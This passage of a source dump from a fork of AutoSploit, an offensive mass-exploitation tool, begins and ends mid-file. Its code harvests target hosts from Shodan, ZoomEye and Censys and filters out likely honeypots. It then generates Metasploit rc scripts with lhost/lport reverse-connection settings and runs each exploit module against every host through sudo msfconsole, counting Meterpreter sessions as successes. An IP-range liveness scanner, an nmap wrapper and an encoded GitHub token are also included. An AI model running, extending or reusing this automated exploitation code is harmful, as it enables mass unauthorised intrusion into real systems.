opt.randomAgent: 104 | lib.settings.close("you cannot use both a personal agent and a random agent, choose only one") 105 | if parser and opt.searchQuery is None: 106 | lib.settings.close("must provide a search query with the `-q/--query` switch") 107 | if not parser and opt.searchQuery is not None: 108 | lib.settings.close( 109 | "you provided a query and no search engine, choose one with `-s/--shodan/-z/--zoomeye/-c/--censys` " 110 | "or all with `-a/--all`" 111 | ) 112 | if opt.startExploit and opt.msfConfig is None: 113 | lib.settings.close( 114 | "you must provide the configuration for metasploit in order to start the exploits " 115 | "do so by passing the `-C\--config` switch (IE -C default 127.0.0.1 8080). don't be " 116 | "an idiot and keep in mind that sending connections back to your localhost is " 117 | "probably not a good idea" 118 | ) 119 | if not opt.startExploit and opt.msfConfig is not None: 120 | lib.settings.close( 121 | "you have provided configuration without attempting to exploit, you must pass the " 122 | "`-e/--exploit` switch to start exploiting" 123 | ) 124 | 125 | @staticmethod 126 | def single_run_args(opt, keys, loaded_modules): 127 | """ 128 | run the arguments provided 129 | """ 130 | api_searches = ( 131 | api_calls.zoomeye.ZoomEyeAPIHook, 132 | api_calls.shodan.ShodanAPIHook, 133 | api_calls.censys.CensysAPIHook 134 | ) 135 | headers = lib.settings.configure_requests( 136 | proxy=opt.proxyConfig, agent=opt.personalAgent, rand_agent=opt.randomAgent 137 | ) 138 | single_search_msg = "using {} as the search engine" 139 | 140 | if opt.displayEthics: 141 | ethics_file = "{}/etc/text_files/ethics.lst".format(os.getcwd()) 142 | with open(ethics_file) as ethics: 143 | ethic = random.choice(ethics.readlines()).strip() 144 | lib.settings.close( 145 | "You should take this ethical lesson into consideration " 146 | "before you continue with the use of this tool:\n\n{}\n".format(ethic)) 147 | if opt.downloadModules is not None: 148 | import re 149 | 150 | modules_to_download = opt.downloadModules 151 | links_list = "{}/etc/text_files/links.txt".format(lib.settings.CUR_DIR) 152 | possibles = open(links_list).readlines() 153 | for module in modules_to_download: 154 | searcher = re.compile("{}".format(module)) 155 | for link in possibles: 156 | if searcher.search(link) is not None: 157 | filename = lib.settings.download_modules(link.strip()) 158 | download_filename = "{}.json".format(link.split("/")[-1].split(".")[0]) 159 | download_path = "{}/etc/json".format(os.getcwd()) 160 | current_files = os.listdir(download_path) 161 | if download_filename not in current_files: 162 | full_path = "{}/{}".format(download_path, download_filename) 163 | lib.jsonize.text_file_to_dict(filename, filename=full_path) 164 | lib.output.info("downloaded into: {}".format(download_path)) 165 | else: 166 | lib.output.warning("file already downloaded, skipping") 167 | if opt.exploitList: 168 | try: 169 | lib.output.info("converting {} to JSON format".format(opt.exploitList)) 170 | done = lib.jsonize.text_file_to_dict(opt.exploitList) 171 | lib.output.info("converted successfully and saved under {}".format(done)) 172 | except IOError as e: 173 | lib.output.error("caught IOError '{}' check the file path and try again".format(str(e))) 174 | sys.exit(0) 175 | 176 | search_save_mode = None 177 | if opt.overwriteHosts: 178 | # Create a new empty file, overwriting the previous one. 179 | # Set the mode to append afterwards 180 | # This way, successive searches will start clean without 181 | # overriding each others. 182 | open(lib.settings.HOST_FILE, mode="w").close() 183 | search_save_mode = "a" 184 | elif opt.appendHosts: 185 | search_save_mode = "a" 186 | 187 | # changed my mind it's not to bad 188 | if opt.searchCensys: 189 | lib.output.info(single_search_msg.format("Censys")) 190 | api_searches[2]( 191 | keys["censys"][1], keys["censys"][0], 192 | opt.searchQuery, proxy=headers[0], agent=headers[1], 193 | save_mode=search_save_mode 194 | ).search() 195 | if opt.searchZoomeye: 196 | lib.output.info(single_search_msg.format("Zoomeye")) 197 | api_searches[0]( 198 | opt.searchQuery, proxy=headers[0], agent=headers[1], 199 | save_mode=search_save_mode 200 | ).search() 201 | if opt.searchShodan: 202 | lib.output.info(single_search_msg.format("Shodan")) 203 | api_searches[1]( 204 | keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], 205 | save_mode=search_save_mode 206 | ).search() 207 | if opt.searchAll: 208 | lib.output.info("searching all search engines in order") 209 | api_searches[0]( 210 | opt.searchQuery, proxy=headers[0], agent=headers[1], 211 | save_mode=search_save_mode 212 | ).search() 213 | api_searches[1]( 214 | keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], 215 | save_mode=search_save_mode 216 | ).search() 217 | api_searches[2]( 218 | keys["censys"][1], keys["censys"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], 219 | save_mode=search_save_mode 220 | ).search() 221 | if opt.startExploit: 222 | hosts = open(lib.settings.HOST_FILE).readlines() 223 | if opt.whitelist: 224 | hosts = lib.exploitation.exploiter.whitelist_wash(hosts, whitelist_file=opt.whitelist) 225 | if opt.checkIfHoneypot != 1000: 226 | check_pot = True 227 | else: 228 | check_pot = False 229 | lib.exploitation.exploiter.AutoSploitExploiter( 230 | opt.msfConfig, 231 | loaded_modules, 232 | hosts, 233 | ruby_exec=opt.rubyExecutableNeeded, 234 | msf_path=opt.pathToFramework, 235 | dryRun=opt.dryRun, 236 | shodan_token=keys["shodan"][0], 237 | check_honey=check_pot, 238 | compare_honey=opt.checkIfHoneypot 239 | ).start_exploit() 240 | -------------------------------------------------------------------------------- /lib/creation/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sulhan12/AutoSploit/9a6a5efac31b488524f9f56f4e2c08f64ec87227/lib/creation/__init__.py -------------------------------------------------------------------------------- /lib/creation/ip_generator.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import itertools 3 | 4 | from multiprocessing import Pool 5 | 6 | 7 | def generate_ip_range(selected_range): 8 | """ 9 | generate an IP address range from each provided node. 10 | for example `10.0.1-10.1-10` will return a generator 11 | object that has IP `10.0.1.1 - 10.0.10.10` in it 12 | """ 13 | octets = selected_range.split(".") 14 | chunks = [map(int, octet.split("-")) for octet in octets] 15 | ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks] 16 | for address in itertools.product(*ranges): 17 | yield ".".join(map(str, address)) 18 | 19 | 20 | def check_ip_alive(ip): 21 | """ 22 | efficiently check if an IP address is alive or not 23 | by using the socket.gethostbyaddr function 24 | """ 25 | def is_valid_ip(ip): 26 | try: 27 | socket.inet_aton(ip) 28 | return True 29 | except: 30 | return False 31 | 32 | try: 33 | if not is_valid_ip(ip): 34 | return False 35 | else: 36 | return socket.gethostbyaddr(ip) 37 | except socket.herror: 38 | return False 39 | 40 | 41 | def check_ip_wrapper(generated_ips, limit=250): 42 | """ 43 | multiprocess the check_ip_alive function in order 44 | to proces a large amount of IP addresses quickly 45 | """ 46 | alive_ips = [] 47 | ips_to_use = [] 48 | i = 0 49 | proc_pool = Pool(processes=35) 50 | 51 | for ip in generated_ips: 52 | ips_to_use.append(ip) 53 | i += 1 54 | if i == limit: 55 | break 56 | for ip in ips_to_use: 57 | try: 58 | result = proc_pool.apply_async(check_ip_alive, args=(ip,)).get() 59 | if not result: 60 | pass 61 | else: 62 | alive_ips.append(ip) 63 | except Exception: 64 | pass 65 | proc_pool.close() 66 | return alive_ips 67 | -------------------------------------------------------------------------------- /lib/creation/issue_creator.py: -------------------------------------------------------------------------------- 1 | import re 2 | import os 3 | import sys 4 | import json 5 | import platform 6 | import hashlib 7 | import base64 8 | try: 9 | from urllib2 import Request, urlopen 10 | except ImportError: 11 | from urllib.request import Request, urlopen 12 | 13 | import requests 14 | from bs4 import BeautifulSoup 15 | 16 | import lib.settings 17 | import lib.output 18 | import lib.banner 19 | 20 | try: 21 | raw_input 22 | except NameError: 23 | raw_input = input 24 | 25 | 26 | def checksum(issue_template_path): 27 | """ 28 | verifies the checksums of the program before you can create an issue 29 | """ 30 | 31 | file_skips = [ 32 | "__init__", ".pyc", ".xml", 33 | ".sample", "HEAD", "pack", 34 | "dev-beta", "description", "config", 35 | "exclude", "index", ".json", 36 | ".gitignore", "LICENSE", "ISSUE_TEMPLATE", 37 | "README", "CONTRIBUTING", "hosts.txt", 38 | "requirements.txt", "checksum_link.txt", 39 | ".key", ".id", ".csv" 40 | ] 41 | current_checksums = [] 42 | failed_checks = 0 43 | for root, sub, files in os.walk(lib.settings.CUR_DIR): 44 | for name in files: 45 | if not any(c in name for c in file_skips): 46 | path = os.path.join(root, name) 47 | check = hashlib.md5() 48 | check.update(open(path).read()) 49 | check = check.hexdigest() 50 | current_checksums.append("{}:{}".format(path.split("/")[-1], check)) 51 | try: 52 | req = requests.get(lib.settings.CHECKSUM_LINK) 53 | real_checksums = str(req.text).split("\n") 54 | for real, current in zip(sorted(real_checksums), sorted(current_checksums)): 55 | if real != current: 56 | failed_checks += 1 57 | if failed_checks > 0: 58 | return False 59 | return True 60 | except Exception: 61 | sep = "-" * 35 62 | lib.output.error( 63 | "something went wrong while verifying the checksums of the current application, " 64 | "this could be due to your internet connectivity. Please either try again, or use " 65 | "the following template to create an issue:" 66 | ) 67 | print("{}\n{}\n{}".format( 68 | sep, open(issue_template_path).read(), sep 69 | )) 70 | exit(1) 71 | 72 | 73 | def check_version_number(current_version): 74 | """ 75 | check the version number before creating an issue 76 | """ 77 | version_checker = re.compile(r"version.=.\S\d.\d.(\d)?", re.I) 78 | try: 79 | req = requests.get("https://raw.githubusercontent.com/NullArray/AutoSploit/master/lib/banner.py") 80 | available_version = version_checker.search(req.content).group().split("=")[-1].split('"')[1] 81 | if available_version > current_version: 82 | return False 83 | return True 84 | except Exception: 85 | return True 86 | 87 | 88 | def create_identifier(data): 89 | """ 90 | create the exception identifier 91 | """ 92 | obj = hashlib.sha1() 93 | try: 94 | obj.update(data) 95 | except: 96 | obj.update(data.encode("utf-8")) 97 | return obj.hexdigest()[1:10] 98 | 99 | 100 | def get_token(path): 101 | """ 102 | we know what this is for 103 | """ 104 | with open(path) as _token: 105 | data = _token.read() 106 | token, n = data.split(":") 107 | for _ in range(int(n)): 108 | token = base64.b64decode(token) 109 | return token 110 | 111 | 112 | def ensure_no_issue(param): 113 | """ 114 | ensure that there is not already an issue that has been created for yours 115 | """ 116 | urls = ( 117 | "https://github.com/NullArray/AutoSploit/issues", 118 | "https://github.com/NullArray/AutoSploit/issues?q=is%3Aissue+is%3Aclosed" 119 | ) 120 | for url in urls: 121 | req = requests.get(url) 122 | param = re.compile(param) 123 | try: 124 | if param.search(req.content) is not None: 125 | return True 126 | except: 127 | content = str(req.content) 128 | if param.search(content) is not None: 129 | return True 130 | return False 131 | 132 | 133 | def find_url(params): 134 | """ 135 | get the URL that your issue is created at 136 | """ 137 | searches = ( 138 | "https://github.com/NullArray/AutoSploit/issues", 139 | "https://github.com/NullArray/AutoSploit/issues?q=is%3Aissue+is%3Aclosed" 140 | ) 141 | for search in searches: 142 | retval = "https://github.com{}" 143 | href = None 144 | searcher = re.compile(params, re.I) 145 | req = requests.get(search) 146 | status, html = req.status_code, req.content 147 | if status == 200: 148 | split_information = str(html).split("\n") 149 | for i, line in enumerate(split_information): 150 | if searcher.search(line) is not None: 151 | href = split_information[i] 152 | if href is not None: 153 | soup = BeautifulSoup(href, "html.parser") 154 | for item in soup.findAll("a"): 155 | link = item.get("href") 156 | return retval.format(link) 157 | return None 158 | 159 | 160 | def hide_sensitive(): 161 | """ 162 | hide sensitive information from the terminal 163 | """ 164 | sensitive = ( 165 | "--proxy", "-P", "--personal-agent", "-q", "--query", "-C", "--config", 166 | "--whitelist", "--msf-path" 167 | ) 168 | args = sys.argv 169 | for item in sys.argv: 170 | if item in sensitive: 171 | if item in ["-C", "--config"]: 172 | try: 173 | item_index = args.index("-C") + 1 174 | except ValueError: 175 | item_index = args.index("--config") + 1 176 | for _ in range(3): 177 | hidden = ''.join([x.replace(x, '*') for x in str(args[item_index])]) 178 | args.pop(item_index+_) 179 | args.insert(item_index, hidden) 180 | return ' '.join(args) 181 | else: 182 | try: 183 | item_index = args.index(item) + 1 184 | hidden = ''.join([x.replace(x, "*") for x in str(args[item_index])]) 185 | args.pop(item_index) 186 | args.insert(item_index, hidden) 187 | return ' '.join(args) 188 | except: 189 | return ' '.join([item for item in sys.argv]) 190 | 191 | 192 | def request_issue_creation(path, arguments, error_message): 193 | """ 194 | request the creation and create the issue 195 | """ 196 | 197 | # TODO:/ we're gonna go ahead and give you guys another chance 198 | #if not checksum(path): 199 | # lib.output.error( 200 | # "It seems you have changed some of the code in the program. We do not accept issues from edited " 201 | # "code as we have no way of reliably testing your issue. We recommend that you only use the version " 202 | # "that is available on github, no issue will be created for this problem." 203 | # ) 204 | # exit(1) 205 | 206 | question = raw_input( 207 | "do you want to create an anonymized issue?[y/N]: " 208 | ) 209 | if question.lower().startswith("y"): 210 | if check_version_number(lib.banner.VERSION): 211 | # gonna read a chunk of it instead of one line 212 | chunk = 4096 213 | with open(path) as data: 214 | identifier = create_identifier(error_message) 215 | # gotta seek to the beginning of the file since it's already been read `4096` into it 216 | data.seek(0) 217 | issue_title = "Unhandled Exception ({})".format(identifier) 218 | 219 | issue_data = { 220 | "title": issue_title, 221 | "body": ( 222 | "Autosploit version: `{}`\n" 223 | "OS information: `{}`\n" 224 | "Running context: `{}`\n" 225 | "Error mesage: `{}`\n" 226 | "Error traceback:\n```\n{}\n```\n" 227 | "Metasploit launched: `{}`\n".format( 228 | lib.banner.VERSION, 229 | platform.platform(), 230 | ' '.join(sys.argv), 231 | error_message, 232 | open(path).read(), 233 | lib.settings.MSF_LAUNCHED, 234 | ) 235 | ) 236 | } 237 | 238 | _json_data = json.dumps(issue_data) 239 | if sys.version_info > (3,): # python 3 240 | _json_data = _json_data.encode("utf-8") 241 | 242 | if not ensure_no_issue(identifier): 243 | req = Request( 244 | url="https://api.github.com/repos/nullarray/autosploit/issues", data=_json_data, 245 | headers={"Authorization": "token {}".format(get_token(lib.settings.TOKEN_PATH))} 246 | ) 247 | urlopen(req, timeout=10).read() 248 | lib.output.info( 249 | "issue has been generated with the title '{}', at the following " 250 | "URL '{}'".format( 251 | issue_title, find_url(identifier) 252 | ) 253 | ) 254 | else: 255 | lib.output.error( 256 | "someone has already created this issue here: {}".format(find_url(identifier)) 257 | ) 258 | try: 259 | os.remove(path) 260 | except: 261 | pass 262 | else: 263 | sep = "-" * 35 264 | lib.output.error( 265 | "it appears you are not using the current version of AutoSploit please update to the newest version " 266 | "and try again, this can also happen when a new update has been pushed and the cached raw page has " 267 | "not been updated yet. If you feel this is the later please create and issue on AutoSploits Github " 268 | "page with the following info:" 269 | ) 270 | print("{}\n{}\n{}".format(sep, open(path).read(), sep)) 271 | else: 272 | lib.output.info("the issue has been logged to a file in path: '{}'".format(path)) 273 | -------------------------------------------------------------------------------- /lib/errors.py: -------------------------------------------------------------------------------- 1 | class AutoSploitAPIConnectionError(Exception): pass 2 | 3 | 4 | class NmapNotFoundException(Exception): pass 5 | 6 | 7 | class NmapScannerError(Exception): pass -------------------------------------------------------------------------------- /lib/exploitation/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sulhan12/AutoSploit/9a6a5efac31b488524f9f56f4e2c08f64ec87227/lib/exploitation/__init__.py -------------------------------------------------------------------------------- /lib/exploitation/exploiter.py: -------------------------------------------------------------------------------- 1 | import re 2 | import csv 3 | import datetime 4 | 5 | from os import ( 6 | makedirs, 7 | path, 8 | linesep 9 | ) 10 | 11 | import lib.settings 12 | import lib.output 13 | import api_calls.honeyscore_hook 14 | 15 | 16 | def whitelist_wash(hosts, whitelist_file): 17 | """ 18 | remove IPs from hosts list that do not appear in WHITELIST_FILE 19 | """ 20 | try: 21 | whitelist_hosts = [x.strip() for x in open(whitelist_file).readlines() if x.strip()] 22 | lib.output.info('Found {} entries in whitelist.txt, scrubbing'.format(str(len(whitelist_hosts)))) 23 | washed_hosts = [] 24 | # return supplied hosts if whitelist file is empty 25 | if len(whitelist_hosts) == 0: 26 | return hosts 27 | else: 28 | for host in hosts: 29 | if host.strip() in whitelist_hosts: 30 | washed_hosts.append(host) 31 | 32 | return washed_hosts 33 | except IOError: 34 | lib.output.warning("unable to whitewash host list, does the file exist?") 35 | return hosts 36 | 37 | 38 | class AutoSploitExploiter(object): 39 | 40 | sorted_modules = [] 41 | 42 | def __init__(self, configuration, all_modules, hosts=None, **kwargs): 43 | self.hosts = hosts 44 | self.configuration = configuration 45 | self.mods = all_modules 46 | self.query = kwargs.get("query", lib.settings.QUERY_FILE_PATH) 47 | self.query_file = open(self.query).read() 48 | self.single = kwargs.get("single", None) 49 | self.ruby_exec = kwargs.get("ruby_exec", False) 50 | self.msf_path = kwargs.get("msf_path", None) 51 | self.dry_run = kwargs.get("dryRun", False) 52 | self.check_honey = kwargs.get("check_honey", False) 53 | self.shodan_token = kwargs.get("shodan_token", None) 54 | self.compare_honey = kwargs.get("compare_honey", 0.0) 55 | 56 | def view_sorted(self): 57 | """ 58 | view the modules that have been sorted by the relevance 59 | there is a chance this will display 0 (see TODO[1]) 60 | """ 61 | for mod in self.sorted_modules: 62 | print(mod) 63 | 64 | def sort_modules_by_query(self): 65 | """ 66 | sort modules by relevance after reading the query from the 67 | temp file 68 | """ 69 | for mod in self.mods: 70 | if self.query_file.strip() in mod: 71 | self.sorted_modules.append(mod) 72 | return self.sorted_modules 73 | 74 | def start_exploit(self, sep="*" * 10): 75 | """ 76 | start the exploit, there is still no rollover but it's being worked 77 | """ 78 | if self.dry_run: 79 | lib.settings.close("dry run was initiated, exploitation will not be done") 80 | 81 | today_printable = datetime.datetime.today().strftime("%Y-%m-%d_%Hh%Mm%Ss") 82 | current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable) 83 | try: 84 | makedirs(current_run_path) 85 | except OSError: 86 | current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable + "(1)") 87 | makedirs(current_run_path) 88 | 89 | report_path = path.join(current_run_path, "report.csv") 90 | with open(report_path, 'w') as f: 91 | csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) 92 | csv_file.writerow( 93 | [ 94 | 'Target Host', 'Date (UTC)', 'MSF Module', 95 | "LocalHost", "Listening Port", "Successful Logs", 96 | "Failure Logs", "All Logs" 97 | ] 98 | ) 99 | 100 | lib.output.info("Launching exploits against {hosts_len} hosts:".format(hosts_len=len(self.hosts))) 101 | 102 | win_total = 0 103 | fail_total = 0 104 | skip_amount = 0 105 | lib.settings.MSF_LAUNCHED = True 106 | 107 | for host in self.hosts: 108 | host = host.strip() 109 | if self.check_honey: 110 | lib.output.misc_info("checking if {} is a honeypot".format(host)) 111 | honey_score = api_calls.honeyscore_hook.HoneyHook(host, self.shodan_token).make_request() 112 | if honey_score < self.compare_honey: 113 | lib.output.warning( 114 | "honeypot score ({}) is above (or equal to) requested, skipping target".format(honey_score) 115 | ) 116 | skip = True 117 | skip_amount += 1 118 | else: 119 | lib.output.misc_info("{} does not appear to be a honeypot, continuing attack".format(host)) 120 | skip = False 121 | else: 122 | skip = False 123 | 124 | if not skip: 125 | current_host_path = path.join(current_run_path, host.strip()) 126 | try: 127 | makedirs(current_host_path) 128 | except OSError: 129 | pass 130 | 131 | for mod in self.mods: 132 | if not self.dry_run: 133 | lib.output.info( 134 | "launching exploit '{}' against host '{}'".format( 135 | mod.strip(), host.strip() 136 | ) 137 | ) 138 | 139 | cmd_template = ( 140 | "sudo {use_ruby} {msf_path} -r {rc_script_path} -q" 141 | ) 142 | 143 | use_ruby = "ruby" if self.ruby_exec else "" 144 | msf_path = self.msf_path if self.msf_path is not None else "msfconsole" 145 | 146 | # What's the point of having a workspace if you overwrite it every fucking time.. 147 | rc_script_template = ( 148 | "workspace -a {workspace}\n" 149 | "use {module_name}\n" 150 | "setg lhost {lhost}\n" 151 | "setg lport {lport}\n" 152 | "setg verbose true\n" 153 | "setg threads 20\n" 154 | "set rhost {rhost}\n" 155 | "set rhosts {rhosts}\n" 156 | "run -z\n" 157 | "exit -y\n" 158 | ) 159 | 160 | module_name = mod.strip() 161 | workspace = self.configuration[0] 162 | lhost = self.configuration[1] 163 | lport = self.configuration[2] 164 | rhost = host.strip() 165 | 166 | current_rc_script_path = path.join(current_host_path, mod.replace("/", '-').strip()) 167 | with open(current_rc_script_path, 'w') as f: 168 | 169 | f.writelines(rc_script_template.format( 170 | module_name=module_name, 171 | workspace=workspace, 172 | lhost=lhost, 173 | lport=lport, 174 | rhost=rhost, 175 | rhosts=rhost 176 | )) 177 | 178 | with open(report_path, 'a') as f: 179 | 180 | cmd = cmd_template.format( 181 | use_ruby=use_ruby, 182 | msf_path=msf_path, 183 | rc_script_path=current_rc_script_path 184 | ) 185 | 186 | output = [""] 187 | if not self.dry_run: 188 | output = lib.settings.cmdline(cmd) 189 | 190 | ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') 191 | msf_output_lines = [ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)] 192 | 193 | msf_wins = [ 194 | x for x in msf_output_lines if re.search('\[\+\]', x) or 195 | 'Meterpreter' in x or 'Session' in x or 'Sending stage' in x 196 | ] 197 | msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x) and 'Background' not in x] 198 | 199 | if len(msf_wins): 200 | win_total += 1 201 | if len(msf_fails): 202 | fail_total += 1 203 | 204 | csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) 205 | csv_file.writerow([ 206 | rhost, today_printable, module_name, lhost, lport, 207 | linesep.join(msf_wins), linesep.join(msf_fails), linesep.join(msf_output_lines) 208 | ]) 209 | 210 | print("") 211 | lib.output.info("{}RESULTS{}".format(sep, sep)) 212 | 213 | if self.dry_run: 214 | lib.output.info("\tDRY RUN!") 215 | lib.output.info("\t0 exploits run against {} hosts.".format(len(self.hosts))) 216 | else: 217 | lib.output.info("\t{} exploits run against {} hosts.".format(len(self.mods), len(self.hosts) - skip_amount)) 218 | lib.output.info("\t{} exploit successful (Check report.csv to validate!).".format(win_total)) 219 | lib.output.info("\t{} exploit failed.".format(fail_total)) 220 | 221 | lib.output.info("\tExploit run saved to {}".format(str(current_run_path))) 222 | lib.output.info("\tReport saved to {}".format(str(report_path))) 223 | -------------------------------------------------------------------------------- /lib/jsonize.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | import string 4 | import random 5 | 6 | import lib.output 7 | import lib.settings 8 | 9 | 10 | def random_file_name(acceptable=string.ascii_letters, length=7): 11 | """ 12 | create a random filename. 13 | 14 | `note: this could potentially cause issues if there 15 | a lot of files in the directory` 16 | """ 17 | retval = set() 18 | for _ in range(length): 19 | retval.add(random.choice(acceptable)) 20 | return ''.join(list(retval)) 21 | 22 | 23 | def load_exploit_file(path, node="exploits"): 24 | """ 25 | load exploits from a given file 26 | """ 27 | selected_file_path = path 28 | 29 | retval = [] 30 | try: 31 | with open(selected_file_path) as exploit_file: 32 | # loading it like this has been known to cause Unicode issues later on down 33 | # the road 34 | _json = json.loads(exploit_file.read()) 35 | for item in _json[node]: 36 | # so we'll reload it into a ascii string before we save it into the file 37 | retval.append(str(item)) 38 | except IOError as e: 39 | lib.settings.close(e) 40 | return retval 41 | 42 | 43 | def load_exploits(path, node="exploits"): 44 | """ 45 | load exploits from a given path, depending on how many files are loaded into 46 | the beginning `file_list` variable it will display a list of them and prompt 47 | or just select the one in the list 48 | """ 49 | retval = [] 50 | file_list = os.listdir(path) 51 | selected = False 52 | if len(file_list) != 1: 53 | lib.output.info("total of {} exploit files discovered for use, select one:".format(len(file_list))) 54 | while not selected: 55 | for i, f in enumerate(file_list, start=1): 56 | print("{}. '{}'".format(i, f[:-5])) 57 | action = raw_input(lib.settings.AUTOSPLOIT_PROMPT) 58 | try: 59 | selected_file = file_list[int(action) - 1] 60 | selected = True 61 | except Exception: 62 | lib.output.warning("invalid selection ('{}'), select from below".format(action)) 63 | selected = False 64 | else: 65 | selected_file = file_list[0] 66 | 67 | selected_file_path = os.path.join(path, selected_file) 68 | 69 | with open(selected_file_path) as exploit_file: 70 | # loading it like this has been known to cause Unicode issues later on down 71 | # the road 72 | _json = json.loads(exploit_file.read()) 73 | for item in _json[node]: 74 | # so we'll reload it into a ascii string before we save it into the file 75 | retval.append(str(item)) 76 | return retval 77 | 78 | 79 | def text_file_to_dict(path, filename=None): 80 | """ 81 | take a text file path, and load all of the information into a `dict` 82 | send that `dict` into a JSON format and save it into a file. it will 83 | use the same start node (`exploits`) as the `default_modules.json` 84 | file so that we can just use one node instead of multiple when parsing 85 | """ 86 | start_dict = {"exploits": []} 87 | with open(path) as exploits: 88 | for exploit in exploits.readlines(): 89 | # load everything into the dict 90 | start_dict["exploits"].append(exploit.strip()) 91 | if filename is None: 92 | filename_path = "{}/etc/json/{}.json".format(os.getcwd(), random_file_name()) 93 | else: 94 | filename_path = filename 95 | with open(filename_path, "a+") as exploits: 96 | # sort and indent to make it look pretty 97 | _data = json.dumps(start_dict, indent=4, sort_keys=True) 98 | exploits.write(_data) 99 | return filename_path 100 | -------------------------------------------------------------------------------- /lib/output.py: -------------------------------------------------------------------------------- 1 | def info(text): 2 | print( 3 | "[\033[1m\033[32m+\033[0m] {}".format( 4 | text 5 | ) 6 | ) 7 | 8 | 9 | def prompt(text, lowercase=True): 10 | question = raw_input( 11 | "[\033[1m\033[36m?\033[0m] {}: ".format( 12 | text 13 | ) 14 | ) 15 | if lowercase: 16 | return question.lower() 17 | return question 18 | 19 | 20 | def error(text): 21 | print( 22 | "[\033[1m\033[31m!\033[0m] {}".format( 23 | text 24 | ) 25 | ) 26 | 27 | 28 | def warning(text): 29 | print( 30 | "[\033[1m\033[33m-\033[0m] {}".format( 31 | text 32 | ) 33 | ) 34 | 35 | 36 | def misc_info(text): 37 | print( 38 | "[\033[90mi\033[0m] {}".format( 39 | text 40 | ) 41 | ) -------------------------------------------------------------------------------- /lib/scanner/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sulhan12/AutoSploit/9a6a5efac31b488524f9f56f4e2c08f64ec87227/lib/scanner/__init__.py -------------------------------------------------------------------------------- /lib/scanner/nmap.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | ********************************************************************************************* 4 | * NOTICE FROM AUTOSPLOIT DEVELOPERS * 5 | ********************************************************************************************* 6 | * this is basically an exact copy of * 7 | * `https://github.com/komand/python-nmap/blob/master/nmap/nmap.py` that has been modified * 8 | * to better fit into autosploits development. There has been very minimal changes to it * 9 | * and it still basically functions the exact same way * 10 | ********************************************************************************************* 11 | 12 | 13 | ORIGINAL INFO: 14 | -------------- 15 | nmap.py - version and date, see below 16 | Source code : https://bitbucket.org/xael/python-nmap 17 | Author : 18 | * Alexandre Norman - norman at xael.org 19 | Contributors: 20 | * Steve 'Ashcrow' Milner - steve at gnulinux.net 21 | * Brian Bustin - brian at bustin.us 22 | * old.schepperhand 23 | * Johan Lundberg 24 | * Thomas D. maaaaz 25 | * Robert Bost 26 | * David Peltier 27 | Licence: GPL v3 or any later version for python-nmap 28 | This program is free software: you can redistribute it and/or modify 29 | it under the terms of the GNU General Public License as published by 30 | the Free Software Foundation, either version 3 of the License, or 31 | any later version. 32 | This program is distributed in the hope that it will be useful, 33 | but WITHOUT ANY WARRANTY; without even the implied warranty of 34 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 35 | GNU General Public License for more details. 36 | You should have received a copy of the GNU General Public License 37 | along with this program. If not, see . 38 | ************** 39 | IMPORTANT NOTE 40 | ************** 41 | The Nmap Security Scanner used by python-nmap is distributed 42 | under it's own licence that you can find at https://svn.nmap.org/nmap/COPYING 43 | Any redistribution of python-nmap along with the Nmap Security Scanner 44 | must conform to the Nmap Security Scanner licence 45 | 46 | __author__ = 'Alexandre Norman (norman@xael.org)' 47 | __version__ = '0.6.2' 48 | __last_modification__ = '2017.01.07' 49 | """ 50 | 51 | import os 52 | import json 53 | import subprocess 54 | 55 | from xml.etree import ElementTree 56 | 57 | import lib.jsonize 58 | import lib.errors 59 | import lib.output 60 | import lib.settings 61 | 62 | 63 | def parse_nmap_args(args): 64 | """ 65 | parse the provided arguments and ask if they aren't in the `known` arguments list 66 | """ 67 | runnable_args = [] 68 | known_args = [a.strip() for a in open(lib.settings.NMAP_OPTIONS_PATH).readlines()] 69 | for arg in args: 70 | if " " in arg: 71 | tmparg = arg.split(" ")[0] 72 | else: 73 | tmparg = arg 74 | if tmparg in known_args: 75 | runnable_args.append(arg) 76 | else: 77 | choice = lib.output.prompt( 78 | "argument: '{}' is not in the list of 'known' nmap arguments, " 79 | "do you want to use it anyways[y/N]".format(arg) 80 | ) 81 | if choice.lower() == "y": 82 | runnable_args.append(tmparg) 83 | return runnable_args 84 | 85 | 86 | def write_data(host, output, is_xml=True): 87 | """ 88 | dump XML data to a file 89 | """ 90 | if not os.path.exists(lib.settings.NMAP_XML_OUTPUT_BACKUP if is_xml else lib.settings.NMAP_JSON_OUTPUT_BACKUP): 91 | os.makedirs(lib.settings.NMAP_XML_OUTPUT_BACKUP if is_xml else lib.settings.NMAP_JSON_OUTPUT_BACKUP) 92 | file_path = "{}/{}_{}.{}".format( 93 | lib.settings.NMAP_XML_OUTPUT_BACKUP if is_xml else lib.settings.NMAP_JSON_OUTPUT_BACKUP, 94 | str(host), lib.jsonize.random_file_name(length=10), "xml" if is_xml else "json" 95 | ) 96 | with open(file_path, 'a+') as results: 97 | if is_xml: 98 | results.write(output) 99 | else: 100 | json.dump(output, results, indent=4) 101 | return file_path 102 | 103 | 104 | def find_nmap(search_paths): 105 | """ 106 | check if nmap is on the system 107 | """ 108 | for path in search_paths: 109 | try: 110 | _ = subprocess.Popen([path, '-V'], bufsize=10000, stdout=subprocess.PIPE, close_fds=True) 111 | except OSError: 112 | pass 113 | else: 114 | return path 115 | raise lib.errors.NmapNotFoundException 116 | 117 | 118 | def do_scan(host, nmap_path, ports=None, arguments=None): 119 | """ 120 | perform the nmap scan 121 | """ 122 | if arguments is None: 123 | arguments = "-sV" 124 | launch_arguments = [ 125 | nmap_path, '-oX', '-', host, 126 | '-p ' + ports if ports is not None else "", 127 | ] + arguments 128 | 